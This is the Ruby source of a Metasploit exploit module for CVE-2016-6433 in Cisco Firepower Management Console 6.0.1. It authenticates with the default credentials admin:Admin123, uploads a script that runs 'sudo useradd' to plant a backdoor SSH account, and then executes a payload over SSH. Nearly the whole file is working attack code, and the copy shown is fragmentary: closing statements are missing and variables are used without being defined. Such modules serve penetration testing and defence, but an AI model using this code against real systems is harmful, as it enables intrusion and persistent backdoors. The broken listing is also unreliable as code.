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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Remote::SSH
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
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      'Description'    => %q{
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        This module exploits a vulnerability found in Cisco Firepower Management Console.
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        The management system contains a configuration flaw that allows the www user to
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        execute the useradd binary, which can be abused to create backdoor accounts.
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        Authentication is required to exploit this vulnerability.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Matt',  # Original discovery & PoC
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          'sinn3r' # Metasploit module
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2016-6433' ],
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          [ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
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        ],
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      'Platform'       => 'linux',
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      'Arch'           => ARCH_X86,
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      'Targets'        =>
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        [
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          [ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2016-10-10',
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      'CmdStagerFlavor'=> %w{ echo },
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      'DefaultOptions' =>
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        {
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          'SSL'        => 'true',
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          'SSLVersion' => 'Auto',
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          'RPORT'      => 443
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        },
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        # admin:Admin123 is the default credential for 6.0.1
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        OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
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        OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
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        OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),
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        OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),
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        OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
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        OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22])
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      ])
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  end
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  def check
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    # For this exploit to work, we need to check two services:
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    # * HTTP - To create the backdoor account for SSH
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    # * SSH  - To execute our payload
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    vprint_status('Checking Cisco Firepower Management console...')
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri'    => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')
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    })
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    if res && res.code == 200
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      vprint_status("Console is found.")
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      vprint_status("Checking SSH service.")
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      begin
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        opts = ssh_client_defaults.merge({
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          port: datastore['SSHPORT'],
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          password: Rex::Text.rand_text_alpha(5),
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          auth_methods: ['password']
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        })
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        ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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          Net::SSH.start(rhost, 'admin', opts)
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        end
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      rescue Timeout::Error
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        vprint_error('The SSH connection timed out.')
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        return Exploit::CheckCode::Unknown
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      rescue Net::SSH::AuthenticationFailed
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        # Hey, it talked. So that means SSH is running.
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        return Exploit::CheckCode::Appears
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      rescue Net::SSH::Exception => e
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        vprint_error(e.message)
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      end
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    Exploit::CheckCode::Safe
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  end
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  def get_sf_action_id(sid)
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    requirements = {}
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    print_status('Attempting to obtain sf_action_id from rulesimport.cgi')
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    uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
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    res = send_request_cgi({
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      'cookie' => "CGISESSID=#{sid}"
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      fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')
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    sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]
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      fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')
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    sf_action_id
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  def create_ssh_backdoor(sid, user, pass)
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    uri          = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
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    sf_action_id = get_sf_action_id(sid)
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    sh_name      = 'exploit.sh'
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    print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")
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    mime_data = Rex::MIME::Message.new
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    mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')
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    mime_data.add_part('file', nil, nil, 'form-data; name="source"')
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    mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')
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    mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')
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    mime_data.add_part(
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      "sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",
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      'application/octet-stream',
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      nil,
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      "form-data; name=\"file\"; filename=\"#{sh_name}\""
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    send_request_cgi({
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      'uri'      => uri,
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      'cookie'   => "CGISESSID=#{sid}",
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      'ctype'    => "multipart/form-data; boundary=#{mime_data.bound}",
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      'data'     => mime_data.to_s,
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      'vars_get' => { 'no_mojo' => '1' },
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  def generate_new_username
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    datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)
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  def generate_new_password
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    datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)
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  def do_login
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    console_pass = datastore['PASSWORD']
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    uri          = normalize_uri(target_uri.path, 'login.cgi')
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    print_status("Attempting to login in as #{console_user}:#{console_pass}")
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        'password' => console_pass,
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        'target'   => ''
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    if res.code == 302 && res_cookie.include?('CGISESSID')
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      cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
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      print_status("CGI Session ID: #{cgi_sid}")
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      print_good("Authenticated as #{console_user}:#{console_pass}")
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      store_valid_credential(user: console_user, private: console_pass) # changes service_name to http || https
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  def execute_command(cmd, opts = {})
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    @first_exec = true
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      @first_exec = false
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      cmd.gsub!(/>>/, ' > ')
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      Timeout.timeout(3) do
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        @ssh_socket.exec!("#{cmd}\n")
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        vprint_status("Executing #{cmd}")
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      fail_with(Failure::Unknown, 'SSH command timed out')
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  def init_ssh_session(user, pass)
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    print_status("Attempting to log into SSH as #{user}:#{pass}")
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      auth_methods: ['password', 'keyboard-interactive'],
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      port: datastore['SSHPORT'],
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      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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        @ssh_socket = Net::SSH.start(rhost, user, opts)
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    # To exploit the useradd vuln, we need to login first.
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    sid = do_login
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    new_user = generate_new_username
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    create_ssh_backdoor(sid, new_user, new_pass)
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      execute_cmdstager({:linemax => 500})
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end
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